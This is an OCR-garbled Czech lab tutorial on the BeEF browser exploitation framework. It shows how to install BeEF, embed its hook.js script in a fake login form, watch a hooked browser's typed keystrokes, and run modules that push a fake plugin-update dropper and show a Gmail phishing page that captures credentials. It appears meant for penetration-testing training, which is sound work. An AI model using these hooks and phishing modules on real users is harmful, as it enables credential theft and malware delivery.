BeEF — The Browser Exploitation Framework

Browser Exploitation Framework, zkracené BeEF, je open-source nastroj zaméfeny na
penetracni testovani. BeEF vyuziva JavaScriptovy kod (nazyvany "hook"), ktery se vklada do
cilového prostfedi pomoci HTML tagi <script>. Tento kdéd je nezbytny pro zachyceni
webovych prohlizeci a jejich nasledné ovladani prostiednictvim BeEF. V praxi je tento "hook"
Casto vkladan do webovych stranek prostfednictvim zranitelnosti znamé jako Cross-site
scripting (XSS), kde je mozné vlozit nebezpecny kod do stranky a ten je poté provadén v

prohlizeci uzivatele.

Hlavnim ucelem BeEF je tedy zachytit (hooknout) jeden nebo vice webovych prohlizect, které
jsou poté vyuzivany k provadéni fizenych utokd pomoci uto¢nych moduld specificky
navrzenych pro tento ucel. Tyto Uto¢né moduly poskytuji uzivatelim moznost vybirat
a spoustét specifické Utocné moduly vredlném case, coz umoziuje pfizplusobit utoky

jednotlivym prohlizec¢im.
V tomto piiklad¢ si ukdzeme, jak vyuzit BeEF k ovladnuti karty prohliZzeCe obéti.

Instalace

Zac¢neme instalaci BeEF na nas virtualni pocitac

e sudo apt install beef-xss
— )-[~]

—$% sudo install beef-xss
[sudo] password for kali:
Reading package lists ... Done
Building dependency tree ... Done
Reading state information ... Done
The following package was automatically installed and is no longer required:
libcattle-1.0-0
Use 'sudo apt autoremove' to remove it.
The following NEW packages will be installed:
beef-xss
@ upgraded, 1 newly installed, @ to remove and 9 not upgraded.
Need to get 3,548 kB of archives.
After this operation, 20.7 MB of additional disk space will be used.
Get:1 http://http.kali.org/kali kali-rolling/main amd64 beef-xss amd64 0.5.4.0+git20220823-0kali2 [3,548 kB]
Fetched 3,548 kB in 11s (325 kB/s)
Selecting previously unselected package beef-xss.
(Reading database ... 430079 files and directories currently installed.)
Preparing to unpack .../beef-xss_0.5.4.0+git20220823-0kali2_amd64.deb
Unpacking beef-xss (0.5.4.0+gi 20823-0kali2)
Setting up beef-xss (0.5.4.0+¢g 220823-0kali2)
beef-xss.service is a disabled or a static unit not running, not starting it.
Processing triggers for kali-menu (2023.4.7)

)-[~]




Poté doinstalujeme webovy prohlize¢ Chromium (Google Chrome pro Linux)

e sudo apt install chromium

)-[~]
sudc install chromium

Reading package lists ... Done
Building dependency tree ... Done
Reading state information ... Done
The following package was automatically installed and is no longer required:

libcattle-1.0-0
Use 'sudo apt autoremove' to remove it.
Suggested packages:

chromium-11@n chromium-shell chromium-driver
The following NEW packages will be installed:

chromium
@ upgraded, 1 newly installed, @ to remove and 9 not upgraded.
Need to get 72.4 MB of archives.
After this operation, 237 MB of additional disk space will be used.
Get:1 http://mirror.karneval.cz/pub/linux/kali kali-rolling/main amd64 chromium amd64 121.0.6167.160-1 [72.4 MB]
Fetched 72.4 MB in 17s (4,151 kB/s)
Selecting previously unselected package chromium.
(Reading database ... 432650 files and directories currently installed.)
Preparing to unpack ... /chromium_121.0.6167.160-1_amd64.deb
Unpacking chromium (121.0.6167.160-1)
Setting up chromium (121.0.6167.160-1)
Processing triggers for kali-menu (2023.4.7) ...
Processing triggers for desktop-file-utils (@.27-1)
Processing triggers for hicolor-icon-theme (8.17-2)
Processing triggers for man-db (2.12.0-3)
Processing triggers for mailcap (3.7@+nmul)

— )-[~]

Spusténi
BeEF v konzoli spustime zadanim ptikazu do konzole
e sudo beef-xss
Pti prvotnim spusténi je nutno nastavit heslo, toto heslo je nutné si zapamatovat
)-[~]

suao
You are using the

(Password must be different from "beef")
Please type a new password for the beef user: |}




Po zadani hesla se nam zobrazi adresa ovladaciho panelu (Web Ul), pies ktery lze ovladat Gitok

a takzvany hook. Tento hook mtizeme vlozit do HTML kodu stranky, na kterou chceme obét

nachytat.

[*]
[+]
[+]
[*]
[*]
[*]
[+]

Web UI:
Hook:
Example:

Please wait for the BeEF service to start.

You might need to refresh your browser once it opens.

http://127.0.0.1:3000/ui/panel
<script src="http://<IP>:3000/hook.js"></script>
<script src="http://127.0.0.1:3000/hook.js"></script>

® beef-xss.service - beef-xss

Loaded:
Active:
Main PID:
Tasks:
Memory:
CPU:
CGroup:

loaded (/usr/lib/systemd/system/beef-xss.service; disabled; preset:

active (running) since Sat 2024-02-17 11:37:36 EST; 5s ago
17608 (ruby)

4 (limit: 8272)

86.9M (peak: 87.5M)

1.744s

{iystem.slice/beeffxss.service

17 11:3
17 11:

kali
kali
kali
kali
kali

beef[17608]:
beef[17608]:
beef[17608]:
beef[17608]:
beef[17608]:

24 CreateAutoloader: migrated (0.0075s)
25 CreateXssraysScan: migrating
create_table(:xssraysscans)

— 0.0008s

25 CreateXssraysScan: migrated (0.0009s)

kali
kali
kali
kali
kali

[

[

[

[

[
beef[17608]: £33

[
beef[17608]: :37:39]
beef[17608]: :37:39][!]
beef[17608]: :137:39]

Opening Web UI (http://127.0.0.1:3000/ui/panel) in: 5... &4 ...

disabled)

37][*] BeEF is loading. Wait a few seconds ...

beef[17608]: :37:39][!] [AdminUI] Error: Could not minify 'BeEF::Extension::
|_ [AdminUI] Ensure nodejs is installed and “node' is i Sl
[AdminUI] Error: Could not minify 'BeEF::Extension:

|_ [AdminUI] Ensure nodejs is installed and “node' ) T

::Handler'

::Handler'

V prohlizeci se ndm zobrazi i Web Ul BeEFu. Piihlasime se do né;.

Uzivatelské jméno: beef

Heslo: heslo, které jsme zadali pfi prvotnim spusSténi v konzoli

Exploil-DB

Google Hacking DB

zeEF

Authentication

Usemame: beet

Passuord wene



Dostaneme se na hlavni menu UI, bude nas hlavné zajimat lista Hooked Browsers, kterda ma
dve slozky: Online browsers a Offline browsers. V téchto listach se poté budou nachdzet nase

cile.

e Ve slozce Online browsers jsou momentalné aktivni uzivatelé, na které je mozno
zautocit

e Ve slozce Offline browsers jsou neaktivni uzivatelé — zombie, nelze na n¢ v ten moment
zautocCit, ale v slozce si je mizeme ponechat, pokud zrovna tyto cile budou pro nas
uzite¢né v budoucnosti

o Zombie Ize kliknutim pravym tlacitkem na né smazat

Hooked Browsers
_| Online Browsers
| Offline Browsers

Getting Started */|| Logs Zombies

—eEF

THE BROWSER EXPLOTATION FRAMEWORK PROJECT

Official website: hitp:/fbeefproject.com/

Getting Started



Tvorba stranky

Nyni si vytvofime zékladni kod pro webovou stranku, na kterou umistime nas hook, abychom
mohli uzivatele napadnout.
Spustime si v konzoli textovy editor nano
e nano index.html
A vlozime do néj nasledujici kod
<IDOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Form</title>
</head>
<body>
<form id="myForm">
<div>
<label for="nameSurname">Jméno </label>
<input type="text" id="nameSurname" name="nameSurname" required>
</div>
<div>
<label for="otherInfo">Prijmeni </label>
<input type="text" id="otherInfo" name="otherInfo">
</div>
<div>
<label for="password">Heslo </label>
<input type="password" id="password" name="password" required>
</div>
<a href="index.html"><button type="submit">Submit</button></a>
</form>
<script src="http://IP ADRESA KDE BEZI BEEF/hook.js"></script>
</body>
</html>



GNU nano 7.2 index.html

"width=devi idth, initial-sca
<title>Testovaci stranka</title>

/head?>
"myForm">

<label rn Iméno
<input t 1ameSu

required>

<label

<input rd” ) ( requireds>

tml"><button "submit">Submit</button

/script>

Pomoci Ctrl + O soubor ulozime a ujistime se, ze se soubor jmeuje index.html a pomoci Ctrl
+ X nano opustime. Soubor v konzoli spustime piikazem

e chromium index.html

Prace s Web Ul

Nyni, kdyZ mame stranku index.html spusténou, podivame se na litu Hooked browsers ve Web

UL kde nyni vidime nas cil.

O D12 - $d=zACCIZi04kBgD¥EGm 7Dk BFoDL

Eali Linux = Kali ¥ ‘\ Eali Forums o Kali MetHenter L-||_:-I:_

Ll Gating Started Lag Zambies Current Brawser
& Onine Browsars
4 (=9 Linkriown Detalls Legs Commands Praxy XssRays Metwark
T8 & 7 12ro0. Koy

CHiinR Brp====
17.0.0.1

& O qin- Linkmninan:0

¥ Browser: mull rll -
!‘ 05 Linux i
a| ardveane: Vimual Machine

T Lnzanon: Linknewn r

Local Date: Sal Feb 17 2024 13:04:47 GMT-0500 (Easbem
Standard Tame}

B capabililies. vic

browsar capahiities webgl
brovger capabililies webns
browsercapabiliies websocket
browser.capabilitics watrworkes
browsarcapabilities wmp
birowser date. datestimp
browsarengine

Browsar lanouRne



Kdyz klikneme na tento cil objevi se nam liSta Current Browser se svymi podliStami.

V podlisté Details se dozvime informace prohlizeci, hardwaru ¢i IP adresy cile.

Getting Started Logs

Details || Logs || Commands || Proxy
Key a
browser.capabilities.activex
browser.capabilities flash
browser.capabilities googlegears
browser.capabilities phonegap
browser.capabilities quicktime
browser.capabilities realplayer
browser.capabilities.silverlight
browser.capabilities vbseript
browser.capabilities.vic
browser.capabilities webgl
browser.capabilities webrtc
browser.capabilities websocket
browser.capabilities webworker
browser.capabilities wmp
browser.date. datestamp
browser.engine
browser.language
browser.name.reported
browser.platform
browser.plugins
browser.window.hostname
browser.window.origin
browser.window.referrer
browser.window.size.height
browser.window.size.width
browser.window.titie
browser.window.uri
hardware.battery.level
hardware.cpu.arch
hardware.cpu.cores
hardware.gpu
hardware.gpu.vendor
hardware.memory
hardware.screen.colordepth
hardware.screen.size height
hardware.screen.size width
hardware.screen.touchenabled

hardware.type

Page 10i2 b b &

Zombies

XssRays || Network

Value

Sat Feb 17 2024 13:04:47 GMT-0500 (Eastern Standard Time)
Blink
en-Us

Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36

Linux x86_64

PDF Viewer,Chrome PDF Viewer,Chromium PDF Viewer,Microsoft Edge PDF Viewer, WebKit built-in PDF

Unknown

null

Unknown

121

2240

Testovaci stranka
file://Mome/kalifindex.htm
unknown

*86_64

4

unknown
unknown

8

24

1265

2240

No

Virtual Machine

Piejdeme opét na stranku index.html a zaddme néjaké informace do textboxi.

Jméno

Prijmeni [doe

john

Heslo

Submit




Nyni piejdeme v BeEF web Ul do listy Logs. MiZzeme vidét, ze BeEF dokaze sledovat sledovat
vstup z klavesnice, akce z mysi, a i vysledky pii kliknuti na tlacitko.

Getting Started ) Zombies Current Browser
Logs tssRays

e Type Event Date Browser 10
56 13,9835 - [BlUr] Browser WNGoW Nas I0s 10Eus, 2024-0217 18:57:39 UTC 5

57 82045 - Mouse Cliek] x: 60 y:18 > inputinameSuname(rameSurmame) 2024.02-17 LB:57:34 UTC 5

56 31578125 - [Form Submitted] "Action: undefined - Method: undefined - Values: : i=neslo” > forms 2024.02.17 1B:57:25 UTC 5

55 31578125 - [Mouse Click] x: 23 .75 > button 2024.02-17 1B:57:25 UTC 5

54 3156 0655 Gl x: 923 y:311 > nmt 2024.02.17 185724 UTC 5

5 3155 5515 - [User Typed] o 20220217 1B:57:23 UTC 5

52 3154 5425 - [User Typed] hest 2024-02-17 1B:57:21 UTG 5

51 31525205 - [User Typed] doe 2024.02-17 1B:57:10 UTC 5

50 3149 5105 - [User Typed] jonn 2024-02-17 1B5T:16 UTG 5

a9 3146.3085 - Mouse CIick] x: 07 ¥:15 > in SurnamegnameSurmiame) 2024.02-17 1B:57:13 UTC 5

8 31449075 - [Focus] focus 2024-02-17 1BST12 UTG 5

a 2986995 - [Blur] & jow has lost fo 2020-02.17 18:54:35 UTC

o 2085 8135 - [Foous] window has regained focus 2020-02-17 18:54:34 UTC

as 29586205 - [Blur] B dow has lost focus. 2020-02.17 185407 UTC 5
a 20576915 - [Focus] Browser window has regained focus 2024-02-17 1B:54:05 UTC 5
a3 127.0.0.1 appeass to have come back online 2024-02-17 18:48.00 UTC 5
a 44,2365 - [Blur] Browser window has lost focus. 2020-02-17 1B:05:32 UTC 5
a9 36,9015 - [Focus| Browser window has regained focus. 2020-02-17 18:05:24 UTC
£ 17.8725 - [Blur] Browser window has lost focus. 2024-02-17 1B:05:05 UTC
a7 15,6345 - [Mouse Ciick] xx 606 y:272 > html 2020-02-17 18:05:03 UTC
£ 14,1935 - [Focus] Browser window has regained focus. 2024-02-17 1B:05:02 UTC
a5 30405 - [Blur] Browser window has lost focus. 2022-02-17 18:0451 UTC 5
E 127.0.0.1 appears to have come back online 2020-02-17 1B:04:47 UTC 5
a3 127.0.0.1 just joinea the horde from the domain: Unknown:0 2022-02-17 18:04:47 UTC

Commands

Nyni prejdeme do lisSty Commands. V této 1iSt€ se nachazi nékolik slozek sjiz
ptedinstalovanymi moduly, ovSem uzivatel si mize svij vlastni modul i vytvofit nebo
popiipad¢ existujici modul upravit. Pokud rozklikneme nékterou ze slozek, vidime Ze jsou

jednotlivé moduly doplnény o barevna kolecka.

e Zelené kolecko znazornuje, ze modul bude funk¢éni vici cili a mél by byt pro uzivatele
neviditelny

¢ Oranzové kolecko znazoriuje, ze modul bude funkéni vici cili, ale maze byt viditelny
pro uZivatele

e Sedé kolecko znazoriiuje, e modul jesté neni ovéien proti tomuto cili

e Cervené kolecko znazornuje, Ze modul nefunguje proti tomuto cili

Detect Google Desktop
Get Geolocation (Third-Party)
Hook Default Browser
Get Geolocation
Get System Info (Java)
Get Wireless Keys
Hook Microsoft Edge
Get Internal IP (Java)
© Detect Airdroid
@ Detect Default Browser
@ Detect Hewlett-Packard
@ Detect Local Drives
@ Detect Software
© Detect Users



Testovani

Pojd'me si vyzkouset nékteré z predptipravenych modulti. Ve slozce Browser najdeme modul

Get Page HTML, ktery ziskda HTML kod stranky cile. Klikneme na néj a vpravo dole na

obrazovce klikneme na tlacitko Execute. Timto spustime modul. Ve sloupci Module Results

Getting Startea Logs Zombles, Current Browser

Details

commanas | Proxy | XssRays | Newor
Module Tree. Moduls Results History
Searc e date label

proT—rs 0 20260217 1433 commana 1

) Hooked Domain {0)
Apache Tomeat RequestHeaderExample Cookie Disclosu
Detect Fot Reader
Detect LastPass
Detect MIME Types
Deteet QuickTime
Detect RealFlayer
Detect Sivertight
Detect Toolbars
Detect Uity Web Player
Detect Windows Media Player
Fingerprint Browser
Get Caokie
Get Form Values
Gao
I ‘Gt Page HTML 1

Link Rewrit
Link Rewrite (Click Events)
Link Rewnta (HTTRS)

Link Rewrite (TEL)

Play Souna

Removs Honk Element
Remove stuck iframe
unnoak

Webcar (Flash)

Webcam Permission Check
Detect Evernote Web Cipper
Detectiie

Fingerprnt Ajax

Get Vislted Domains.

Get Visitad URLS (Avant Browser)
Overflow Caokie Jar

Spyder Eye

Wencam HTMLS

@ Create Alert Dialog

@ Greate Prompt Dialag

@ Detect Pepup Blacker

@ Regirect Browser

@ Rediact Browser (Rickrol)

@ Redirect Hrouser (IFrame)

© Reaty

Logs Zombies Curen Browser

commanas | Proxy

Network

Bet Page HTML
Description:  This module wil retrieve the HTML rom ine curment page.

[0} 280

Madule Results History
ea e | dam lael

=T o 20240217 1433 command 1

) Hosked Domain (0)
Apache Tomcal RequestHeaderExample Cookie Disclosur
Deteet Foxit Reader
Detect LastPass
Detoct MIME Types
Detect QuieTime
Detect RealPlayer
Detect Siveright
Detect Toolbars.

Deteet Uity Web Player
Detect Windows Media Player
Fingerprint Browsar

Get Gookie

Gat Form Values

Got Paga HREFS

Get Page HTML

Get Page and irame HTML
Link Rewiite

Link Rewice (Cick Events)
Link Rewite (HTTPS)

Link Rewrite (TEL)

Piny Sound

Remove Hook Elemen:
Remove stuck frame
Unhook

Webcam (Flash)

Webcam Permission Check
Detect Evermote Wb Clipper
Deteer VLG

Fingerprint Ajax

Gat Vistted Domains

e Visied URLS (Avant Brovwser)
Overliow Coskie Jar

‘Spyder Eye

Webcam HTMLS

® Create Alert Dislog

@ Create Prompt Dialog

@ Detect Ropup Biocker

© Rearect Browser

@ Rediredt Browser (Rickrol)

 Rearect Browser (Frame)

© Ready

Command resuts

1
data; head= <meta charset="UTF-8"> <meta name="

content="width=device-widkh, ni
‘eSumame” name="niameSuinar
somor*>Heslo <Aabel <ingut sassrord” id="password” name="password" req
4127.0.0.1:3000M00k 5> </SCrpt> <iframe widkh="1px" heighi="1px" style="visilty-higden;”
sse1data_er style="vislbisty: hidden: position: absolute:"></div>

I="indax himl><bution
“min < frame <

Re-execute commana

History se nam ukazuje historie provedeného modulu. Pfi kliknuti na log z Module Results

History se ndm zobrazi vysledek.



Zobrazeni notifikaci
Muzeme cili zobrazit i notifikace, bud’ neskodné s pouhym textem nebo Skodlivé s nakladem
nasi volby. Ve slozce Social Engineering najdeme modul Fake Notification Bar. Mizeme

pozmenit zpravu, kterd se ukaze cili a spustime pomoci tlacitka Execute

Module Treo Module Results History Faka Notification Bar

ida | date latsel Description:  Dispiays a taks notifcation Bar at the 1ap of the Screen, similar to those presentad in .
0 20240247 15:27 command 1

WordPress Current User Infa a: 18

WorePreas Uplosd REE Pugi 1 20280217 15:32 commana 2

Wordpress Post.Auth RCE 2 20240247 1532 command 2 Notficason  Tris website is running BeEF

et
IFrame Event Key Logger 3 2026027 18:32 command 4

Loeal File Then
o Sieep

Track Physical Movement
BlockUI Modal Dialog
Cryple-Loat Miner

Raw JavaSeript

Read Gmal

INotes with attachment
Saitor

Neturork (24)
Persistence (3)
Phonegap (16)
43 Social Engineering {24)
Text 1o Voioe
Clikgacking
Leanmtu Domnioad
Spoot Adaress Bar (data URL)
Cippy
Fake Flash Update
Fake Nofcation Bar
Fake Noification Bar (Chrome)
Fake Notfcanon Bar (F retai)
Fake Nofication Bar (IE)
Googie Prisning
Preity Theft
Reptace Videos (Fake Prugin)
Simple Hijacker
Tannanting
@ Eage WSeript WSH Injection
ke Evernote Web Cipper Login
ake LastPass

@ Firelx Extorsion (Bindshell)
@ Firetox Extension (Dropper)
on (Roverse Sholl

Execuie
Abusa (IE 0710)

& Ready

CcC

KaliLinux # KaliTools #* KaliDocs W KaliForums e Kali NetHunter OffSec

[homefkalifindex.html

Google Hackin...

[7] This website is running BeEF

Pfijme%li| |
Heslo| |
| Submit |

Ostatni moduly, které se zaméruji na zobrazeni notifikaci uz vnucuji cili ndklad, ktery by si

mohl nainstalovat do pocitace

Fake Notification Bar [Chrome)

Desoriplion:  Dispiays & fake noteation Bar & he 10a of e serean, simiar 1o those prasentad i Chrame. If tha user clicks the rathcation ey wil e promgtad 10 dawnioad the e speciiod Dekmv
i e mownt an exe in BeEF as per extensoissocal_engineeringidoppersieadime. ki

Id: 7

URL: hitip: A0.0.0.0: 3000dropper.exe

Mutfication Additional plegins are required to display all the media on this page.

text;

c 0

KaliLinux #& KaliTools @ KaliDoecs & KaliForums & Kali NetHunter OffSec

Jhome/kalifindex. html

Exploit-DB

Google Hackin...

il Additional plugins are required to display all the media on this page. Install Missing Plugins__ |

Piijmeni |

Heslo |

| submit |



Google Phishing

Ve slozce Social Engineering najdeme modul Google Phishing, ktery uzivatelovi zobrazi jiz

zastaralou ptihlasovaci stranku ke gmailu. Zaroven cil z gmailu odhlasi, pokud je jiz ptihlasen.

Pfi nastaveni zménime parametr XSS hook URI na napiiklad

e https://www.seznam.cz/

Klikneme na tlacitko Execute a pfemistime se na index.html stranku

Logs Zombies Current Browser

Commanas | Proxy | XssRays | Metwors

Module Tree Module Results History

Seart de  oate 1abel

o 20240217 1958 command 1

423 Phonegap (16)
Aert User
Baep
Check Connecion
Detect ProneGap
Gealosation
Globaiization Status
Keyehain
List Contacts
Ust Fles
Uit Prugine.
Persist rasume
Persisience
Prompt user
Start Recording Audio
Stop Recording Auto
Uploan File
4 3 Sucial Enginearing (24)
Text 1o Voice
Cheljacking
Leamat Doumioac
Spoof Address Bar (data URL)
@ Coopy
@ Fake Flash Upaate
@ Fake Notification Bar
@ Fake Noufication Bar (Chiome]
@ Fake Nobtcation Bar (Firetox)
@ Fake Nolification Bar (1E)
@ Guoge Phishing
@ Presy Thett
@ Replace Videos (Fake Plugin)
@ Simple Hiacker
@ Tatnanbing
@ Edge WScript WSH Injeciion
Fake Evemote Web Cipper Login
® Fake LasiPass
® Firetox Extension (Bindshell)
@ Firetox Extension (Dropper)
@ Firetox Extension (Reverse Shell
@ HTA BowerShel
@ SiteKiosk Breakout
@ User Intertace Abuse (IE /1)
O Ready

Google

Google Mail

AGoogle appraach (o email

Gt0qle WA 15 AL a1 kst V1A BT 237 D5 Mo 0, SAEIEL. 3 UL AR S Ve n

A al, Gragle Ml hus

Google Phishing

Deserlpilon

Google favicon and 3 Gmail phishing page (athough the URL is NOT the Gmall URL)

a: 1

IXSS hook URLL | https:iwww.seznam.cz/
oo 10000

interval (ms).

Redirect delay | 1000
{ms)

coghe Mol o Wk

-

=] Lots of space
Ovarz 164 megabyiss (and couniing) of tee siorage,

Mobile access

Less spam
KEE UNNBNIE0 MesSages out of your InDox.

Gt Goapia 1131 on your TodE pRone. LeAm Mera

Abous Gooqle Mal Meweatresl  Switch fo Gaogle Mal  Craate an accours

, Take Google Mail to work with Gaogle Apps for Business

Love Gaogle Mall, Lt lpong T & Cusiom en1as aniess Tor
et usness ema

Galenar, and onlie BICS @YouT_COMPANY Go. Lea more.

Now 9 Goopia Mail?

Signin

Usermama

Password

‘Can't access your acooun?

This plugin uses an Image tag to XSRF the logout burtan of Gmall. Contnuously the user Is logged out of Gmall (eg. It he Is Iogged in in anoter tan). Adamanally & wil show e

Exscute

Ere——


https://www.seznam.cz/

Pokud cil zad4 adaje a ptihlasi se, bude presmérovan na jiz oficialni ptihlasovaci stranku gmailu
a k tomu na stranku nasi volby. Pokud se opét podivame na vysledek v Module Results History

muzeme vidét, ze jsme ziskali prihlasovaci udaje cile

Module Resuits History ‘Command results
ida | date label 1 Sat Feb 17 2024 15:12:24 GMT-0500 (Eastern Standard Time)
data: result=Username: login Password: password
0 2024-02-17 14:58 command 1
1 2024-02-17 15:.06 command 2
Ukonceni

BeEF ukonc¢ime ptikazem

e sudo beef-xss—stop



